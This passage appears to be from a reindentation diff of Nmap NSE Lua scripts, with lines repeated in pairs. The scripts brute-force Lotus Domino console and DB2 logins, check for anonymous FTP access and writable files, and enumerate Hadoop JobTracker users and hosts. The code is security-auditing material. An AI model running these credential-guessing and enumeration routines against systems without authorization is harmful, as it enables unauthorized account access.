|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end,
|
||||
|
||||
--- Attempts to login to the Lotus Domino Console
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local data = ("#UI %s,%s\n"):format(username,password)
|
||||
local status
|
||||
--- Attempts to login to the Lotus Domino Console
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local data = ("#UI %s,%s\n"):format(username,password)
|
||||
local status
|
||||
|
||||
if ( not_admins[username] ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
if ( not_admins[username] ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
|
||||
status, data = self.socket:send( data )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( data )
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end
|
||||
status, data = self.socket:send( data )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( data )
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, data = self.socket:receive_bytes(5)
|
||||
status, data = self.socket:receive_bytes(5)
|
||||
|
||||
if ( status and data:match("NOT_REG_ADMIN") ) then
|
||||
not_admins[username] = true
|
||||
elseif( status and data:match("VALID_USER") ) then
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
if ( status and data:match("NOT_REG_ADMIN") ) then
|
||||
not_admins[username] = true
|
||||
elseif( status and data:match("VALID_USER") ) then
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
|
||||
end,
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.sockpool:releaseSocket( self.socket )
|
||||
end,
|
||||
disconnect = function( self )
|
||||
self.sockpool:releaseSocket( self.socket )
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local status, result
|
||||
local pool = SocketPool:new(10)
|
||||
local engine = brute.Engine:new(Driver, host, port, pool )
|
||||
local status, result
|
||||
local pool = SocketPool:new(10)
|
||||
local engine = brute.Engine:new(Driver, host, port, pool )
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, result = engine:start()
|
||||
pool:shutdown()
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, result = engine:start()
|
||||
pool:shutdown()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -46,16 +46,16 @@ portrule = shortport.port_or_service({50000,60000}, {"drda","ibm-db2"}, "tcp", {
|
||||
-- @return username string
|
||||
-- @return password string
|
||||
local function new_usrpwd_iterator (usernames, passwords)
|
||||
local function next_username_password ()
|
||||
for username in usernames do
|
||||
for password in passwords do
|
||||
coroutine.yield(username, password)
|
||||
end
|
||||
passwords("reset")
|
||||
end
|
||||
while true do coroutine.yield(nil, nil) end
|
||||
end
|
||||
return coroutine.wrap(next_username_password)
|
||||
local function next_username_password ()
|
||||
for username in usernames do
|
||||
for password in passwords do
|
||||
coroutine.yield(username, password)
|
||||
end
|
||||
passwords("reset")
|
||||
end
|
||||
while true do coroutine.yield(nil, nil) end
|
||||
end
|
||||
return coroutine.wrap(next_username_password)
|
||||
end
|
||||
|
||||
--- Iterates over the password list and guesses passwords
|
||||
@@ -66,29 +66,29 @@ end
|
||||
-- @param creds an iterator producing username, password pairs
|
||||
-- @param valid_accounts table in which to store found accounts
|
||||
doLogin = function( host, port, database, creds, valid_accounts )
|
||||
local helper, status, response, passwords
|
||||
local condvar = nmap.condvar( valid_accounts )
|
||||
local helper, status, response, passwords
|
||||
local condvar = nmap.condvar( valid_accounts )
|
||||
|
||||
for username, password in creds do
|
||||
-- Checks if a password was already discovered for this account
|
||||
if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
|
||||
helper = drda.Helper:new()
|
||||
helper:connect( host, port )
|
||||
stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip )
|
||||
status, response = helper:login( database, username, password )
|
||||
helper:close()
|
||||
for username, password in creds do
|
||||
-- Checks if a password was already discovered for this account
|
||||
if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
|
||||
helper = drda.Helper:new()
|
||||
helper:connect( host, port )
|
||||
stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip )
|
||||
status, response = helper:login( database, username, password )
|
||||
helper:close()
|
||||
|
||||
if ( status ) then
|
||||
-- Add credentials for future drda scripts to use
|
||||
if nmap.registry.db2users == nil then
|
||||
nmap.registry.db2users = {}
|
||||
end
|
||||
nmap.registry.db2users[username]=password
|
||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||
end
|
||||
end
|
||||
end
|
||||
condvar("broadcast")
|
||||
if ( status ) then
|
||||
-- Add credentials for future drda scripts to use
|
||||
if nmap.registry.db2users == nil then
|
||||
nmap.registry.db2users = {}
|
||||
end
|
||||
nmap.registry.db2users[username]=password
|
||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||
end
|
||||
end
|
||||
end
|
||||
condvar("broadcast")
|
||||
end
|
||||
|
||||
--- Checks if the supplied database exists
|
||||
@@ -98,18 +98,18 @@ end
|
||||
-- @param database string containing the database name
|
||||
-- @return status true on success, false on failure
|
||||
isValidDb = function( host, port, database )
|
||||
local status, response
|
||||
local helper = drda.Helper:new()
|
||||
local status, response
|
||||
local helper = drda.Helper:new()
|
||||
|
||||
helper:connect( host, port )
|
||||
-- Authenticate with a static probe account to see if the db is valid
|
||||
status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
|
||||
helper:close()
|
||||
helper:connect( host, port )
|
||||
-- Authenticate with a static probe account to see if the db is valid
|
||||
status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
|
||||
helper:close()
|
||||
|
||||
if ( not(status) and response:match("Login failed") ) then
|
||||
return true
|
||||
end
|
||||
return false
|
||||
if ( not(status) and response:match("Login failed") ) then
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
--- Returns the amount of currenlty active threads
|
||||
@@ -117,57 +117,57 @@ end
|
||||
-- @param threads table containing the list of threads
|
||||
-- @return count number containing the number of non-dead threads
|
||||
threadCount = function( threads )
|
||||
local count = 0
|
||||
local count = 0
|
||||
|
||||
for thread in pairs(threads) do
|
||||
if ( coroutine.status(thread) == "dead" ) then
|
||||
threads[thread] = nil
|
||||
else
|
||||
count = count + 1
|
||||
end
|
||||
end
|
||||
return count
|
||||
for thread in pairs(threads) do
|
||||
if ( coroutine.status(thread) == "dead" ) then
|
||||
threads[thread] = nil
|
||||
else
|
||||
count = count + 1
|
||||
end
|
||||
end
|
||||
return count
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local result, response, status = {}, nil, nil
|
||||
local valid_accounts, threads = {}, {}
|
||||
local usernames, passwords, creds
|
||||
local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
|
||||
local condvar = nmap.condvar( valid_accounts )
|
||||
local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
|
||||
local result, response, status = {}, nil, nil
|
||||
local valid_accounts, threads = {}, {}
|
||||
local usernames, passwords, creds
|
||||
local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
|
||||
local condvar = nmap.condvar( valid_accounts )
|
||||
local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
|
||||
|
||||
-- Check if the DB specified is valid
|
||||
if( not(isValidDb(host, port, database)) ) then
|
||||
return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
|
||||
end
|
||||
-- Check if the DB specified is valid
|
||||
if( not(isValidDb(host, port, database)) ) then
|
||||
return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
|
||||
end
|
||||
|
||||
status, usernames = unpwdb.usernames()
|
||||
if ( not(status) ) then
|
||||
return "Failed to load usernames"
|
||||
end
|
||||
status, usernames = unpwdb.usernames()
|
||||
if ( not(status) ) then
|
||||
return "Failed to load usernames"
|
||||
end
|
||||
|
||||
-- make sure we have a valid pw file
|
||||
status, passwords = unpwdb.passwords()
|
||||
if ( not(status) ) then
|
||||
return "Failed to load passwords"
|
||||
end
|
||||
-- make sure we have a valid pw file
|
||||
status, passwords = unpwdb.passwords()
|
||||
if ( not(status) ) then
|
||||
return "Failed to load passwords"
|
||||
end
|
||||
|
||||
creds = new_usrpwd_iterator( usernames, passwords )
|
||||
creds = new_usrpwd_iterator( usernames, passwords )
|
||||
|
||||
stdnse.print_debug("Starting brute force with %d threads", max_threads )
|
||||
stdnse.print_debug("Starting brute force with %d threads", max_threads )
|
||||
|
||||
for i=1,max_threads do
|
||||
local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
|
||||
threads[co] = true
|
||||
end
|
||||
for i=1,max_threads do
|
||||
local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
|
||||
threads[co] = true
|
||||
end
|
||||
|
||||
-- wait for all threads to finnish running
|
||||
while threadCount(threads)>0 do
|
||||
condvar("wait")
|
||||
end
|
||||
-- wait for all threads to finnish running
|
||||
while threadCount(threads)>0 do
|
||||
condvar("wait")
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, valid_accounts)
|
||||
return stdnse.format_output(true, valid_accounts)
|
||||
|
||||
end
|
||||
|
||||
@@ -44,147 +44,147 @@ portrule = shortport.port_or_service(21, "ftp")
|
||||
-- list sent.
|
||||
-- ---------------------
|
||||
local function list(socket, target, max_lines)
|
||||
local status, err
|
||||
local status, err
|
||||
|
||||
-- ask the server for a Passive Mode: it should give us a port to
|
||||
-- listen to, where it will dump the directory listing
|
||||
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
||||
status, err = socket:send("PASV\r\n")
|
||||
if not status then
|
||||
return status, err
|
||||
end
|
||||
local code, message = ftp.read_reply(buffer)
|
||||
-- ask the server for a Passive Mode: it should give us a port to
|
||||
-- listen to, where it will dump the directory listing
|
||||
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
||||
status, err = socket:send("PASV\r\n")
|
||||
if not status then
|
||||
return status, err
|
||||
end
|
||||
local code, message = ftp.read_reply(buffer)
|
||||
|
||||
-- Compute the PASV port as given by the server
|
||||
-- The server should answer with something like
|
||||
-- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
|
||||
-- (-- IP--,PORT)
|
||||
-- PORT is (hp x 256) + lp
|
||||
local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)")
|
||||
if not high then
|
||||
return nil, string.format("Can't parse PASV response: %q", message)
|
||||
end
|
||||
-- Compute the PASV port as given by the server
|
||||
-- The server should answer with something like
|
||||
-- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
|
||||
-- (-- IP--,PORT)
|
||||
-- PORT is (hp x 256) + lp
|
||||
local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)")
|
||||
if not high then
|
||||
return nil, string.format("Can't parse PASV response: %q", message)
|
||||
end
|
||||
|
||||
local pasv_port = high * 256 + low
|
||||
local pasv_port = high * 256 + low
|
||||
|
||||
-- Send the LIST command on the commands socket. "Fire and forget"; we
|
||||
-- don't need to take care of the answer on this socket.
|
||||
status, err = socket:send("LIST\r\n")
|
||||
if not status then
|
||||
return status, err
|
||||
end
|
||||
-- Send the LIST command on the commands socket. "Fire and forget"; we
|
||||
-- don't need to take care of the answer on this socket.
|
||||
status, err = socket:send("LIST\r\n")
|
||||
if not status then
|
||||
return status, err
|
||||
end
|
||||
|
||||
local list_socket = nmap.new_socket()
|
||||
status, err = list_socket:connect(target, pasv_port, "tcp")
|
||||
if not status then
|
||||
return status, err
|
||||
end
|
||||
local list_socket = nmap.new_socket()
|
||||
status, err = list_socket:connect(target, pasv_port, "tcp")
|
||||
if not status then
|
||||
return status, err
|
||||
end
|
||||
|
||||
local listing = {}
|
||||
while not max_lines or #listing < max_lines do
|
||||
local status, data = list_socket:receive_buf("\r?\n", false)
|
||||
if (not status and data == "EOF") or data == "" then
|
||||
break
|
||||
end
|
||||
if not status then
|
||||
return status, data
|
||||
end
|
||||
listing[#listing + 1] = data
|
||||
end
|
||||
local listing = {}
|
||||
while not max_lines or #listing < max_lines do
|
||||
local status, data = list_socket:receive_buf("\r?\n", false)
|
||||
if (not status and data == "EOF") or data == "" then
|
||||
break
|
||||
end
|
||||
if not status then
|
||||
return status, data
|
||||
end
|
||||
listing[#listing + 1] = data
|
||||
end
|
||||
|
||||
return true, listing
|
||||
return true, listing
|
||||
end
|
||||
|
||||
--- Connects to the FTP server and checks if the server allows anonymous logins.
|
||||
action = function(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local code, message
|
||||
local err_catch = function()
|
||||
socket:close()
|
||||
end
|
||||
local socket = nmap.new_socket()
|
||||
local code, message
|
||||
local err_catch = function()
|
||||
socket:close()
|
||||
end
|
||||
|
||||
local max_list = stdnse.get_script_args("ftp-anon.maxlist")
|
||||
if not max_list then
|
||||
if nmap.verbosity() == 0 then
|
||||
max_list = 20
|
||||
else
|
||||
max_list = nil
|
||||
end
|
||||
else
|
||||
max_list = tonumber(max_list)
|
||||
if max_list < 0 then
|
||||
max_list = nil
|
||||
end
|
||||
end
|
||||
local max_list = stdnse.get_script_args("ftp-anon.maxlist")
|
||||
if not max_list then
|
||||
if nmap.verbosity() == 0 then
|
||||
max_list = 20
|
||||
else
|
||||
max_list = nil
|
||||
end
|
||||
else
|
||||
max_list = tonumber(max_list)
|
||||
if max_list < 0 then
|
||||
max_list = nil
|
||||
end
|
||||
end
|
||||
|
||||
local try = nmap.new_try(err_catch)
|
||||
local try = nmap.new_try(err_catch)
|
||||
|
||||
try(socket:connect(host, port))
|
||||
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
||||
try(socket:connect(host, port))
|
||||
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
||||
|
||||
-- Read banner.
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code and code == 220 then
|
||||
try(socket:send("USER anonymous\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code == 331 then
|
||||
-- 331: User name okay, need password.
|
||||
try(socket:send("PASS IEUser@\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
end
|
||||
-- Read banner.
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code and code == 220 then
|
||||
try(socket:send("USER anonymous\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code == 331 then
|
||||
-- 331: User name okay, need password.
|
||||
try(socket:send("PASS IEUser@\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
end
|
||||
|
||||
if code == 332 then
|
||||
-- 332: Need account for login.
|
||||
-- This is rarely seen but may come in response to a
|
||||
-- USER or PASS command. As we're doing this
|
||||
-- anonymously, send back a blank ACCT.
|
||||
try(socket:send("ACCT\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code == 331 then
|
||||
-- 331: User name okay, need password.
|
||||
try(socket:send("PASS IEUser@\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
end
|
||||
end
|
||||
end
|
||||
if code == 332 then
|
||||
-- 332: Need account for login.
|
||||
-- This is rarely seen but may come in response to a
|
||||
-- USER or PASS command. As we're doing this
|
||||
-- anonymously, send back a blank ACCT.
|
||||
try(socket:send("ACCT\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
if code == 331 then
|
||||
-- 331: User name okay, need password.
|
||||
try(socket:send("PASS IEUser@\r\n"))
|
||||
code, message = ftp.read_reply(buffer)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if code and code >= 200 and code < 300 then
|
||||
-- We are primarily looking for 230: User logged in, proceed.
|
||||
else
|
||||
if not code then
|
||||
stdnse.print_debug(1, "ftp-anon: got socket error %q.", message)
|
||||
elseif code == 421 or code == 530 then
|
||||
-- Don't log known error codes.
|
||||
-- 421: Service not available, closing control connection.
|
||||
-- 530: Not logged in.
|
||||
else
|
||||
stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message)
|
||||
end
|
||||
return nil
|
||||
end
|
||||
if code and code >= 200 and code < 300 then
|
||||
-- We are primarily looking for 230: User logged in, proceed.
|
||||
else
|
||||
if not code then
|
||||
stdnse.print_debug(1, "ftp-anon: got socket error %q.", message)
|
||||
elseif code == 421 or code == 530 then
|
||||
-- Don't log known error codes.
|
||||
-- 421: Service not available, closing control connection.
|
||||
-- 530: Not logged in.
|
||||
else
|
||||
stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message)
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
local result = {}
|
||||
result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
|
||||
local result = {}
|
||||
result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
|
||||
|
||||
if not max_list or max_list > 0 then
|
||||
local status, listing = list(socket, host, max_list)
|
||||
socket:close()
|
||||
if not max_list or max_list > 0 then
|
||||
local status, listing = list(socket, host, max_list)
|
||||
socket:close()
|
||||
|
||||
if not status then
|
||||
result[#result + 1] = "Can't get directory listing: " .. listing
|
||||
else
|
||||
for _, item in ipairs(listing) do
|
||||
-- Just a quick passive check on user rights.
|
||||
if string.match(item, "^[d-].......w.") then
|
||||
item = item .. " [NSE: writeable]"
|
||||
end
|
||||
result[#result + 1] = item
|
||||
end
|
||||
if max_list and #listing == max_list then
|
||||
result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
|
||||
end
|
||||
end
|
||||
end
|
||||
if not status then
|
||||
result[#result + 1] = "Can't get directory listing: " .. listing
|
||||
else
|
||||
for _, item in ipairs(listing) do
|
||||
-- Just a quick passive check on user rights.
|
||||
if string.match(item, "^[d-].......w.") then
|
||||
item = item .. " [NSE: writeable]"
|
||||
end
|
||||
result[#result + 1] = item
|
||||
end
|
||||
if max_list and #listing == max_list then
|
||||
result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return table.concat(result, "\n")
|
||||
return table.concat(result, "\n")
|
||||
end
|
||||
|
||||
@@ -53,116 +53,116 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
|
||||
portrule = function(host, port)
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
end
|
||||
|
||||
get_userhistory = function( host, port )
|
||||
local results = {}
|
||||
local uri = "/jobhistory.jsp?pageno=-1&search="
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
for line in string.gmatch(body, "[^\n]+") do
|
||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||
if line:match("job_[%d_]+") then
|
||||
local user = line:match("<td>([^][<>]+)</td></tr>")
|
||||
local job_time = line:match("</td><td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time))
|
||||
table.insert( results, ("User: %s (%s)"):format(user,job_time))
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
local results = {}
|
||||
local uri = "/jobhistory.jsp?pageno=-1&search="
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||
for line in string.gmatch(body, "[^\n]+") do
|
||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||
if line:match("job_[%d_]+") then
|
||||
local user = line:match("<td>([^][<>]+)</td></tr>")
|
||||
local job_time = line:match("</td><td>([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time))
|
||||
table.insert( results, ("User: %s (%s)"):format(user,job_time))
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
get_tasktrackers = function( host, port )
|
||||
local results = {}
|
||||
local uri = "/machines.jsp?type=active"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
||||
for line in string.gmatch(response['body'], "[^\n]+") do
|
||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||
if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
|
||||
local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
|
||||
stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker))
|
||||
table.insert( results, tasktracker)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if tasktracker:match("([%w%.]+)") then
|
||||
local newtarget = tasktracker:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
local results = {}
|
||||
local uri = "/machines.jsp?type=active"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
||||
for line in string.gmatch(response['body'], "[^\n]+") do
|
||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||
if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
|
||||
local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
|
||||
stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker))
|
||||
table.insert( results, tasktracker)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
if tasktracker:match("([%w%.]+)") then
|
||||
local newtarget = tasktracker:match("([%w%.]+)")
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||
local status,err = target.add(newtarget)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return results
|
||||
end
|
||||
action = function( host, port )
|
||||
|
||||
local result = {}
|
||||
local uri = "/jobtracker.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
||||
if response['body']:match("State:</b>%s*([^][<]+)") then
|
||||
local state = response['body']:match("State:</b>%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state))
|
||||
table.insert(result, ("State: %s"):format(state))
|
||||
end
|
||||
if response['body']:match("Started:</b>%s*([^][<]+)") then
|
||||
local started = response['body']:match("Started:</b>%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started))
|
||||
table.insert(result, ("Started: %s"):format(started))
|
||||
end
|
||||
if response['body']:match("Version:</b>%s*([^][<]+)") then
|
||||
local version = response['body']:match("Version:</b>%s*([^][<]+)")
|
||||
local versionNo = version:match("([^][,]+)")
|
||||
local versionHash = version:match("[^][,]+%s+(%w+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
|
||||
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
|
||||
port.version.version = versionNo
|
||||
end
|
||||
if response['body']:match("Compiled:</b>%s*([^][<]+)") then
|
||||
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||
end
|
||||
if response['body']:match("Identifier:</b>%s*([^][<]+)") then
|
||||
local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier))
|
||||
table.insert(result, ("Identifier: %s"):format(identifier))
|
||||
end
|
||||
if response['body']:match("([%w/]+)\">Log<") then
|
||||
local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
|
||||
stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles))
|
||||
table.insert(result, ("Log Files: %s"):format(logfiles))
|
||||
end
|
||||
local tasktrackers = get_tasktrackers (host, port)
|
||||
if next(tasktrackers) then
|
||||
table.insert(result, "Tasktrackers: ")
|
||||
table.insert(result, tasktrackers)
|
||||
end
|
||||
if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
|
||||
local userhistory = get_userhistory (host, port)
|
||||
table.insert(result, "Userhistory: ")
|
||||
table.insert(result, userhistory)
|
||||
end
|
||||
if #result > 0 then
|
||||
port.version.name = "hadoop-jobtracker"
|
||||
port.version.product = "Apache Hadoop"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
local result = {}
|
||||
local uri = "/jobtracker.jsp"
|
||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
||||
if response['body']:match("State:</b>%s*([^][<]+)") then
|
||||
local state = response['body']:match("State:</b>%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state))
|
||||
table.insert(result, ("State: %s"):format(state))
|
||||
end
|
||||
if response['body']:match("Started:</b>%s*([^][<]+)") then
|
||||
local started = response['body']:match("Started:</b>%s*([^][<]+)")
|
||||
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started))
|
||||
table.insert(result, ("Started: %s"):format(started))
|
||||
end
|
||||
if response['body']:match("Version:</b>%s*([^][<]+)") then
|
||||
local version = response['body']:match("Version:</b>%s*([^][<]+)")
|
||||
local versionNo = version:match("([^][,]+)")
|
||||
local versionHash = version:match("[^][,]+%s+(%w+)")
|
||||
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
|
||||
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
|
||||
port.version.version = versionNo
|
||||
end
|
||||
if response['body']:match("Compiled:</b>%s*([^][<]+)") then
|
||||
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
|
||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||
end
|
